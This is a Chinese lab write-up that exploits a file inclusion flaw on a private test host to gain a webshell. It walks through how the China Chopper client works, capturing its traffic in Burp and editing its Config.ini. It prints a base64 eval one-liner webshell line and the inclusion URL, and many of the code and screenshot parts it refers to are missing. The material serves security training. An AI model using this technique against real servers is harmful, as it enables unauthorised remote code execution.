一个文件包含漏洞（需要利用菜刀原理）

一个文件包含漏洞（需要利用菜刀原理）

1.任务

通过你所学到的知识，测试该网站可能存在的包含漏洞，尝试获取webshell。

2.分析

直接访问它包含的文件：http://192.168.223.134/test/md3oa/vulnerabilities/view.html

查看view.html可以看到这里有一段PHP代码，取出来如下：

上面代码解码后如下：

3.菜刀原理与利用

这是一个非常经典的一句话木马，假设它已经上传：

现在使用菜刀去连接，在菜刀配置好代理，代理配置如下：

Burp抓取数据包如下：

上面cmd的值，action名称以及值都是来菜刀配置文件Config.ini，如下：

后台一句话木马最终执行：

@eval(@eval(base64_decode($_POST[action]));)

而2中：

只需要把action修改为z0，并且Hello有值，如下是成功的：

现在修改菜刀配置文件Config.ini。

修改菜刀后面参数：

Burp抓包，发现修改成功，如下所示：

现在断开代理，直接用菜刀连接：

http://192.168.223.134/test/md3oa/vulnerabilities/fu1.php?file=view.html